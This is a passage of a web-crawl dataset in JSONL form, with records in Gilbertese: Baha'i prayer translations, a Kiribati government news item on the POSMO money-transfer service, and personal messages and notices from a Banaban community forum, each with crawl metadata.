ao ni maeka nakon tokina n te abanuea.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403450","date":"2019-10-14T05:00:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986649035.4\/warc\/CC-MAIN-20191014025508-20191014052508-00329.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":127,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.386,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE AU TORO!\nTi tabo ngkoe ma te kabaang are e karaoaki raoi are e raba i nanon roon bwautina ao e raba mwaitin boona man ana atatai te tia karaoia. Ngaia are otinako man bwautim are e tangiria nanom bwa e aonga riki uaam n oota ao ni kaotaki nakon te aonaaba ni kabane.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403730","date":"2019-10-14T04:54:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986649035.4\/warc\/CC-MAIN-20191014025508-20191014052508-00350.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI TAAN MAEKA N TE KABANEA N RIETAATA NI BWARETAITI!\nKatanoata nakoia natin nako te onimaki ni kakoauaa bwa i nanon abanuea aika a tabu, ni kaan nakon te bwaretaiti ni karawa, e a tia ni kaoti te onaroka ae e boou, are a otabwaniniia taan maeka n te abanuea are e rietaata ma taan maeka aika tamnei n te bwaretaiti ae kakannato. Kataia, ngkanne, bwa kam aonga ni karekea te karinan, bwa kam aonga ni kauki kamimiin nako te tangira man ueena ae te ang ao n atai karaban nako te tamnei ae tabu ao ni karekei niniwana man uaana aika akea tokiia. A kukurei n rauaki mataia naake a rin ao ni maeka i nanona.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403190","date":"2019-10-18T19:59:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986684425.36\/warc\/CC-MAIN-20191018181458-20191018204958-00370.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":118,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Atua ae Atuau! I a tia n teirake ao ni kitana mweengau, ao n teimatoa n taua roobun Am tangira ao I a tia n anga ngai ni kabanea nakon Am tararua ao Am kakaawakin. I butiiko ni Mwaakam are Ko a tia iai ni kaawakiniia ake Ko tangiriia man tibanakoia man kawaiia ao te katei nakon te raoiroi, ao man kakiriwean te tua, ao ni kabane taan karaoi aaro akanne aika a aki tau are a bon tia ni kararoaiia Mairoum, kaawakinai ao kamaurai n Am atataiaomata ao Am nanoanga.\nKarikai bwa Nna manga oki nakon mweengau ni Korakoram ao Mwaakam. Boni Ngkoe ni koaua moan te Mwaaka, te Buoka n te kangaanga, ao te Maiu i bon Irouna.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190218010","date":"2019-10-22T04:54:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987798619.84\/warc\/CC-MAIN-20191022030805-20191022054305-00375.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":33,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":121,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Naw-Ruz, Maati 20 ke 21, bon moan bongin te ririki ni Baha'i.\nBon Am bwai te kamoamoaaki, Ngkoe Atuau, bwa Ko a tia ni katabua Naw-Ruz bwa te tai ni kukurei irouia naake a tia ni mwannanoa te Aki Mamatam i bukin Tangiram, ma ni kaawakiniia man baike aki raraoi Iroum. Au Uea anganiia ain Am tangira, ao te kabuebue are e otinako man te Aki Mamatam are Ko anga, bwa a na konaa ni urarake iai i nanon Am Waaki ao karikiia bwa a na maeka ma Kamoamoaam ma Uringam.\nMan te tai are Ko katamaroaiia Ngkoe au Uea, n tamaroan te Aki Mamatam are e katauraoaki Iroum, Ko bon katamaroaiia n tamaroan Am kariaia rinanon Am Raoiroi ao Am Iraorao n tituaraoi. Ma aia mwakuri aomata a kawenei i aon Kukureim ae e raoiroi, ma ni buran Am tua. Ko bia mutiakinna ngkai e a toki ana Aki Mamatam ae e a toki aei, ao bwa e na warekaki teuaei ma neiei bwa naake a tia ni karika kuneakin Am Kaotioti ni kamemeaaki ni bubun te tano ao ma ni kamwawaaki nako man te ran ae ai aron atibu aika a kakawaki n te Koburake n ran ni kamaiu aei.\nBoni Ngkoe Te Atua, te Manua are e a tiotio i aora ao ti noora iai ae kaanga Ko bon riai n neboaki n Am mwakuri ao te waaki ae kaangai E na ongeaaba te aba nakon Am tua, are e taekinaki. Katanoata taekan Am tabo, Ngkoe Atuau, tuangiia Am toro, bwa a na atai raoi kakannaton bwaai nako bwa a bon tine i aan Am tua ao Am taeka, ao raoiroin mwakuri ao are e tamaroa n te kukurei ni motin nanoia are e na kinaaki bwa te kairiiri man aia beku aomata bon man Am kariaia, ao maaniia ni kainaki n Am raoiroi, i nanon boong aikai are E taku iai Kristo: Boni Ngkoe Uean tautaeka nako, Ngkoe are Taman te Tamnei (Iesu); ao Raom (Mwaometa) are E takaarua: Boni Ngkoe te Mimitong, Ngkoe are Moan te Tangiraki, bwa Ko a tia n aki rabuna Tamaroam, ao ni korei baike a na riki naake Ko rineiia bwa a na karekea kaintekatekan kaotiotin Aram ae moan te Kakannato, are mai iai aomata ni kabane a tanginiwenei ma ti ngkana a motiki bukiia man bwaai nako ma ti Ngkoe ao ni waaki Nakoina Ngaia ae te Tia Kaotiotiko ao te Tia Kaotai Arom nako.\nTeuare bon Ngaia Am Mwaanga ao Am botaki ni kabane, Ngkoe au Uea, a tia ni katoka aia Aki Mamatam n te bong aei, i mwiin tian tauana irouia i aon robwan Am botaki, ma ingaingaia ni Kakukureiko. Ko na kataua i bukina ao i bukiia ni kabane ake a tia ni bane n rin ni Kaaniam ni boong akekei ake a bane n raraoi are Ko a tia ni baaireia n Am Boki. Anganiia ngkanne baike a tau i bukiia, i bukin te maiu ae e na roko.\nBoni Ngkoe ni koaua, te Ataibwai ni kabane, te Kabanea ni Wanawana.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190305020","date":"2019-10-22T05:00:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987798619.84\/warc\/CC-MAIN-20191022030805-20191022054305-00263.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":505,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE NATIN TE AOMATA!\nTe timna man marawan te nanoanga ae akea kabina are I a tia n tibwaia nakoia aomatan nako te aonaaba, ma e ngae n anne akea ake a kuneaki bwa a rairaki nako iai, n arona naba bwa ni kabane ake a tia n rairaki nako man te karawan wainin te katiteuana nakon maeran te aki kororaoi, ao, n rauaki ma te mwangko n tamnei, ma a tia ni kaaki tamaroan te mwangko n tamnei. E bon rabunaki n te rabuna ni mata are e nano iai.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403620","date":"2019-10-20T10:04:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986705411.60\/warc\/CC-MAIN-20191020081806-20191020105306-00478.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":92,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI AIKA KAM AKI TATABEAKIN!\nTai iangoia bwa karaban nako te nano a wene n raba, ma, kam na ataia bwa bon anua ni maiu aika a mataata ake a kaaraki ni koreaki ao a bon kaotaki raoi n oti n te tabo ae tabu are E mena iai.\nBahá'u'lláh","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403600","date":"2019-10-14T04:56:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986649035.4\/warc\/CC-MAIN-20191014025508-20191014052508-00416.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A rangin kakaitau man kamoamoa kain Tabiteuea meang imwin waakinan te POSMO iaon aia abamakoro are e moa kabonganaana man te week ae e nako. Te POSMO bon te waaki ni kanakomwane are karioaki ao n karaoaki ao ni kabobongaki man te ICT Division n te Botaki n itoman ao mwamwananga. Bukin karaoan te waaki ni kanakomwane aio bwa e na kona n tawe riki ao n bebete aron kawaina ao kabonganakina irouia te botannaomata. E kairaki te kataneiai aio iroun te ICT Officer ae Charlie Hongkai (PHOTO 2: 1st from the Left) man te ICT Division, nakoia taan makuri nte Kauntira n Tabiteuea meang ake ana tabeakina te kanakomwane (PHOTO 1: below);\nImwin te kataneiai ao e a rimwiaki ma te handing over nakon te Mayor ae Tabukirake Baraniko (PHOTO 2: 3rd from the left) are e a tei ibukin te kauntira ao kain Tabiteuea meang. Tabiteuea meang ai bon te kauoua n abamakoro, imwin Abemama ibukin karaoan te kataneiai iaon te waaki ni kanakomwane aio (POSMO). Iai te kataratara bwa e na manga karokoaki te POSMO nikiran abamakoro iaon Kiribati, riki n aaba ake a nakoraoi n te itoman n aia intanete ao te tareboon.\nIrarikin anne ao e ribotinaki mai irouia taan kabongana te waaki ni kanakomwane aio bwa e a rangi n tawe riki nakon te TELMO ba ko kona n anaa am mwane 10-20 te miniti imwin te kanakomwane. E kamatoaki naba man te Ministry ba ni karokoa moan bongin te week aio, ao iai 500 aomata ake a tia ni kanako ao anai mwane rinanon te POSMO imarenan aaba aikai ma Tarawa ma maitin aia kaaraimwane (remittance) ae 370 ibukin te boota ni mwane ae $180,077.93","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.micttd.gov.ki\/article\/postal-ict\/posmo-use-tabiteuea-north-people","date":"2019-10-17T10:32:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986673538.21\/warc\/CC-MAIN-20191017095726-20191017123226-00508.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":275,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Neiko mauri, e ae era ngke ea bon aki reke roko nte auti i main okim, na katuaiko ke, i ongo ba ena korakora te party i Suva ngaia are koa mamara...........its ok no worries, hows the school work..........regards to all.\nio dou bula naba ma moqu sis lai2 mauri gke tariu ae ko uarereke am beba? eg, kaga e bon kamaiu ae iai tarim ae uarereke nakoim, ba n tabetai ao ko bon bully naba, ma i bon aki bully ba i bon proud ba iai tariu ae mena naba ikai.\nko raba n am comment, ao bon te tia tae2 gke ae ko wi kateke, tao ibukina gke bon tei marakei kakaiaki fke??eg, bon gaia raoi anne. neiko, ti bon mena gkai iroun nei riri ma dan, ao tao tina maga roko n ami tabo anne tao nakon te tairiki aei. e tau ba ti a bon maga kai itaramata ikanne tariu. nei naomi e bon tabae ni kamamatea an buki, ba ena maga nora gkanne are te buki ieta. neiei bon ainen marakei are te aki tatabara man ubu ni kaebu ao ubu rake naba.\ne tau ba ti a maga bo ikanne kee, ao ena tekeraoi naba kanoan te bog aei ni kabane.\nl\nNei aunty ohhh...akea ngarena..e toka am bora bwa e bubura am bebwa ae! Etau ma erarabwa te kaitibo bwa sa manga kinako..tii buana angaa moa am nurse ake tabeman ma aia boss are Leilani? Ia kariariaia bwa ana anaai ao aki. Ami bure ke, ao ea tauraoi tei-sydney aio n shout! Etau ma karekea ami tai n raun nako sydney bwa kam na nora te capital city nte night life..hehehee..take care moa & blessings for the new year!\nNeiko mauri nte ririki ae boou. Kanga koa tara n tirim kee. Ngaia ea kaman reitaki Kiatoa nakoim. Ao e bon koaua ae roroko tamam irouira nte auti. Tia bora ma aia Rotomould Company. Ma e rangi n enjoy ao riki ni marurung ngkai e unga n aia business. Kanga e tuai manga roko aorakin rangana. Ao ngke e uara am tabo anne. Koa miss te fun nte nei kee. E raoiroi bwa are eaki birinako bwa ea bon titiku naba n arona. Tekeraoi te ririki ae boou ao koa manga reitia mai ikanne.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/Tienteen","date":"2019-11-12T03:16:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664567.4\/warc\/CC-MAIN-20191112024224-20191112052224-00094.warc.gz","language":"gil","language_score":0.9999654293,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9999654293060303}","num_words":379,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.248,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE NATIN TE BUBUNTANO!\nTaan wanawana bon naake a aki taetae ma ti ngkana a karekea te kakauongo, n ai aron te tia uota te mwangko, are e aki kainnanoa te mwangko ni karokoa e kunea are e ukoukoraki, ao te tia tangira are e aki tang mai kabin nanona ni karokoa e a taraa tamaroan are e tangiria. Ngaia are uniki koraan te niniwana ma te ataibwai ni kororaoin tanon te nano, ao ni karabai ni kaawakin, ni karokoa te atinta n niniwana ni karawa ae e tabu e bwebwerake man te nano ma tiaki man te bokaboka ao te tano.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60403370&to=gil","date":"2019-11-20T03:06:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670389.25\/warc\/CC-MAIN-20191120010059-20191120034059-00088.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":103,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.476,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Share 'Send Money to Fiji or any where else in the world in second'\nMauri BANABAN VOICE members,\nAio te kanako mwane ae e baiti ao man boraoi. E safe ao bon akea iai te kanganga ngkana ko kabongana. E boraoi riki ana tiati ke ana fee nakon te Western Union ke te Bank transfer n aron ae i ataia. Ngkana iai am titiraki ke am kan ota ao reitaki \"click\" iaon rongorongona riki ae e banin.\nI karaoa te video aio ibukia ara koraki ni FIJI ake a join Ashmax... taiaoka…\nYou can share this blog post in two ways…\nShare this link:\nSend it with your computer's email program: Email this","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/main\/sharing\/share?id=2211587%253ABlogPost%253A75797","date":"2019-11-12T04:03:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664567.4\/warc\/CC-MAIN-20191112024224-20191112052224-00190.warc.gz","language":"gil","language_score":0.9997063875,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9997063875198364}","num_words":113,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.212,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Are e mwamwananga nakon iteran mwakoro nako ni kabuta te reirei, iaon maunga, rereua, aaba ao taari ke wareka raoi te bubuti aei:\nO te Atua! O te Atua! Ko nora mamarau, rinanou, ao mangoriu imataia Am karikibwai nako; e ngae n anne, I bon katuka au onimaki Iroum ao I teirake ni kabuta nakoa Am reirei nako ibuakoia Am toro aika korakora, ni katan iaon Mwaakam ao Korakoram.\nO te Uea! Bon ngai te mannikiba ae mwaoto baina ao e kan kibarakea Am mwaawa ae akea tiana. E na kanga n reke nakoiu aei ma bon tii rinanon Am ibuobuoki ao Am nanoanga, Am kamatoa ao Am ibuobuoki.\nO te Uea! Nanoangai ni mamarau, ao kakorakoraai ni Mwaakam. O te Uea! Nanoanga au aki konabwai, ao buokai ni Korakoram ao Kakannatom.\nO te Uea! Ngkana ikeiken te Tamnei ae Raoiroi e kamatoa te karikibwai ae bon te kabanea ni ngore, e karekei bwaai ni kabane nakon are tangiria ao ni bwaini bwaai nako ake e nano iai. Ni koaua, Ko a bon tia ni buokia Am toro n taai aika nako ao, e ngae ngke kabanean ngoreia Am karikibwai, kabanean rinanoia Am toro ao kabanean aki kakawaki ibuakoia ake a maeka n te aba, rinanon Am katabuaki ao Korakoram a tia ni moan bwai iaoia kabanea ni mimitong ibuakoia Am aomata ao kabanea ni kakannato ibuakoia botanaomata. Aongkoa ngkekei bon taian manibeti, a riki bwa ai bwanuean mannikiba aika falcons, ao ngkekei ngkoa bon taian ranga n ran aika uarereke, a riki bwa ai taari, rinanon Am tituaraoi ao Am nanoanga. A riki, rinanon Am akoi ae korakora mwaitina, itoi aika raneanea iaon oraitanin te kairiri, mannikiba anene inanon rootin te onaroka ae akea tokina, raian a bekorara inanon buakonikain te atatai ao te niniwana, ao kuua a uaua inanon marawan te maiu.\nNi koaua, bon Ngkoe te Nanoanga, te Mwaaka, te Korakora, ao Katokia Nanoanga.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/prayer?id=100402030&to=gil","date":"2019-11-20T03:10:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670389.25\/warc\/CC-MAIN-20191120010059-20191120034059-00141.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":317,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"hey mauri moa kamuara mai kanne . au kantaninga ba kam bon bane ni marurung raoi. kaaga koa manga akii kaokaoti ikai tao koa nang busy . koagania naba au kamauri tinau anne ao maneu ni kabane ao ai moa rarariki ngkoe tamau ikaotia nakoimi ba ibon banne ntangiri ngkami ni kabane ao iaki kona ni mamaninga taekami . tekeraoi moa ami waaki ma ikanne ao tia manga bon bobo nnaki akaka i on9 take care and God bless u all toofa\nmauri bro,\ne koaua e moanna te kara. ani kabara moa te bure, i tuai man kaukuuki iaon banaban voice man te ririki ae nako.\nko raba ti marurung raoi mai ikai. bon te koaua ae ko taku ao e uara ngkai maneu ane sesenga? ke e baina teutana riki te kakamakuri, tao bon aorakin te marika. e koaua e bon rang kekerake naba buburan flo ma e keiaki n lose ana weight n te kakamakuri ae maiti. flo ma ara ataeinnaine aika a mena irarikiu. we plan to go back to tarawa sometime early 2010.\ne tau, kam na bane n tekeraoi n te xmas aio, ngkami ma natimi ni kabane ao kain ami auti. tia manga bon rereitaki riki ngkana ko anganai am email address naba.\ntekeraoi ngke bro ao tia boo moa.\nMauri uncle. Kam uara? E uara ami tabo anne. ngaira ti rangi ni marurung mai ikai bon ti Nei Mum(Atirina) ae aoraki are bon aorakin te tioka. Ti ngaia moa mai ikai ao koa manga reitia mai ikanne. Tekeraoi te makuri\nMauri....Yeah the whole fam is fine....sorry ia bon reberake naba n send a friend request and I bet u r just guessing in replying to me as sis coz if I am correct, u r nei Tawana's son and one of your sisters is nei Kaikai are bun Bob then I am your niece. I am nei Teiti's daughter.....so I would say then Mauri uncle.....how is the family bet all r in good health....well regards to them and do keep in touch.....take care....tia boo moa\nE raba i bon marurung ao bon natin nei Kauna ae ko taku aei nnau photos. Eaikawai ngkai ao ea nang barantiko.. iai naba ana profile ba ana profile name bon David John. Ngkai i bon reirei naba, ao ia roko nte USP - i karaoa te law. Eang, laisa naba ea kakainea...hahhaha. okay uncle, tiabo moa. regards to all the family at home esp kamboua ao nei rite ke.. love you.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/NaitiniwaTeitiakiTokinteiti","date":"2019-11-12T03:12:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664567.4\/warc\/CC-MAIN-20191112024224-20191112052224-00260.warc.gz","language":"gil","language_score":0.9993464351,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9993464350700378}","num_words":410,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kaikai mauri riki ngkami . ai tera ae manga riki nakon ami comp?? au kantaninga ba tao ea manga aki maeu .ma eaoria anne ma ai bon au kamauri nakoia kain batami ao ai ami unaine aikanne ma natimi .\nTekaraoi ngkoe ma buum anne ao kataia ni katia ami comp anne ba tiaongan rereitaki ao man ongongora rongorongon ami tabo anne ao ngaira naba\nTekeraoi moa ngkami ao tia manga bon reitaki n ongongora mai roumi.\nkabara te bure ba ia maninga ni kaotai nakoimi ngkana kam aki kinai . Ngai te rang ae kam bon kina\nErema .akai\nTekeraoi ngkami ma natimi aikanne ao tuanga Ben ba ena kaitoa kee n amamarake\ntia boo moa ao ia manga ongora iroumi\nkaikai mauri moa ngkami. e koaua e a rang maan te tai n aki rereitaki ao bon iai au internet n au office ma e bon rang korakora te tabetabe ao irarikina ao e bon aki reke am email adress ao ngkai ia bon tibwa kauka au banabavoice ao ia uringa ae na comment nakoim. Au kan taninga ba kam bon bane ni marurung ngkoe ma buum anne ao ai natimi ni kabane ao ai ami unaine aike i rarikimi akanne\ne bon tuai raoi settle raoi au makuri ma akea te kanganga ba are bon te kaibuke ae ririaki imwarenan trwao biti ibukin kanami teiko ma ai bon rekena ao ia tuanga Bob ba ena butimaea.\ngud day from oz aqunty kaikai! neiko, e koaua am taeka ba i bon tekenaki irouia natimaine aika ragin boboto aikanne. au kamauri nakoia kain te makoro aika ragin boboto\/ merry xmas nakoim ma natim ao tem bob. tai agagan nei kani au kamauri. tuaga kani ba ena nakomai ni motirawa ikai, ba nna kairia nako kings cross. merry xmas to u all an god bless!\nMauri Kaikai and Family\nNeiko ae bon akea naba te news mai ikai except te hot conditions at the moment.Ae bon titabo ma fiji but anyway tia bon used to it kee.Ia also kan give our best wishes nte christmas to you and your familyand hope you all have a happy and safe new year...no drink and drive okay...\nLove you all\nhey mauri Kaikai !!!!\nkam uara gkai??? shshshh ea bn nag maan te tai keer....hows Kaka Tawana??? remember to giv her my rgds.....\niaa ea nag ikawai Nei Namoriki keer...e rikirake ni ikawai ao e rikirake naba ni botonaine, gaia raoi anne taua teim anne bwa ko aoga n tekena aunty Rotaria and aunty Mamro.....\nhey, ao e uara moa ana mare Kakia ma Nei Rire plizz update me from dea ok....\nAnyway ai bn te katekeraoi mai ikai nte xmas aei ao te ririki ae boou...\nokey ena tekeraoi te waki ikanne ao koa maga reitia mai ikanne n rogorogon ikanne.......\nmauri sis ok set gaia ao kum uara moa e raba naba teururig nane tau maia maga bon ogora nam\nlatrst news mai kane kee okk kaga bon akea mai kai tinatiu are nei angeline ea bon karaoa ana\nukeuke ba are ai bon ankabane n teririki aio fom 7........ tau tekeraoi tewaki mai kane\ntia bo n moce mada god bless ma am utu\nlolomas nakoia kan am aiti","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/KaikaiBob","date":"2019-11-20T14:14:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670559.66\/warc\/CC-MAIN-20191120134617-20191120162617-00415.warc.gz","language":"gil","language_score":0.9998841286,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9998841285705566}","num_words":534,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nTi kukurei ni katanoata nakoia kaain abara iaon Rambi a taabo ake kam maeka iai ba ea tauraoi ngkai aobitin te Rabi Island Court ni butimaai, tabeka, karaoiroi ke rongorongo ibukin takakaron abara ae Banaba ae e nang tabe ni bua ae Te Karemotu ao Te Katua.\nE kakoauaaki ba e katokaki iroun te Kauntira ao e kamatoaaki iroun te Tia Moti n taai aika a nako ibukin taian kiriwe mai irouiia taan takakaro. Ea tia ngkai n anga ana kariai te Kauntira nakon Aobitin te Kabowi-n-Aba ba ena butimaai tabeka, karaoiroi, rongorongo ao man reitaki ma unimane ao unaine ao kaain abara ake a kona n ibuobuoki ibukin karaoiroan ao kateiraoan takakaro aikai.\nOin te iango ke te kantaninga ba tina uaia ni boriki itera ma arora aika ena aki karekea te i-mamaenako iroura ngaira kaain Banaba ao tina manga butiraoi n ara takakaro aei. Kamatataan kanoan te waaki ena manga reitaki nakoimi.\nIai naba maingingin ana tiim te Kabowi-n-Aba nakon kawa nako iaon Rabi ao tina kataia naba n reitaki ma ake a maeka i tinanikun Rambi, Tarawa, ao Banaba, Australia ao NZ iaon te internet. Irian kanoan te ukeuke ibukin te Karemotu ao te Katua bon kateiraoan te boki n riki iroura ngaira kaain Banaba\nKam raba\nMan Aoitin Te Kabowi-n-Aba\nRabi Island Court\nViews: 69\nComments are closed for this blog post","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/te-karemotu-ao-te-katua","date":"2019-11-12T03:39:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664567.4\/warc\/CC-MAIN-20191112024224-20191112052224-00309.warc.gz","language":"gil","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.000009298324585}","num_words":233,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.193,"stopwords_ratio":0.27,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri tarina te bureti....hahaha....kouara moa gkai...long time ti tuai n manga reitaki....ia taku ba tao koa lost in the jungle..hahaha.....nee ngaia i norii tamneimi naba ma timetaake maa..ngaia kam bobo naba ma ngaia kee...ao koa anga naba au kamauri nakoia ao nakon naba Ietaake...ea bane gkai te Ietaake ke e tuai?? ao gke kouara ma natim ao tibum, hope kam bon marurung raoi....kanga akea moa te news mai ikai ba ti te kakatauraoi irou ngai imain 15th december ba ma miss hibiscus mai tabwewa...euara anne....lol...tau sis tekeraoi moa am bong ao koa manga bon reitia mai ikanne......\nmauri aunty ma natiu naomi e rapa ti nanag marurung raoi ao ngkami?gaia ane ea roko n kaungana ea?ea toki te winter ma te maitoro ae bon waaki napa tia kainano nte maitoro aei koa mena ia ngkami?tera rongorongon am tabo ane?luv 2 natiu naomi take care luv uz\nmauri aunty e rapa ti nang marurung raoi yoyo enang kume ea biribiri ngkai ti katauraoi imain ara camping tis frideii glenbrook ibukin te mee ko iraniko ea roko n kaungana te aro kanga ia uringa rabi hauea?kiss natiu naomi 4 me ao angana ara kamauri luv uz\nmauri aunty ko uara ngkai?ko mena ia?e uara natiu naomi?i misini ngkami every sunday rongorongon ikai are te earthquake e roko i christchurch anang kawa kaina auruaki autina angiia aomatana ngkai a homeless ma a lucky ba iai ana help te tautaeka ao te eang napa ngkai eroko ma e korakora riki nte south i auckland iai te eang ma eaki nang rotaki teleraoi maikane te kamauri ma te tangira nakoimi gai natim te panto ibuakoia tariu ni kabane hahaha love u\nhello Mamrosi kam uara ngkai ngake tia nang miss ni ngkami kam na manga raun ningai heheh ai akea 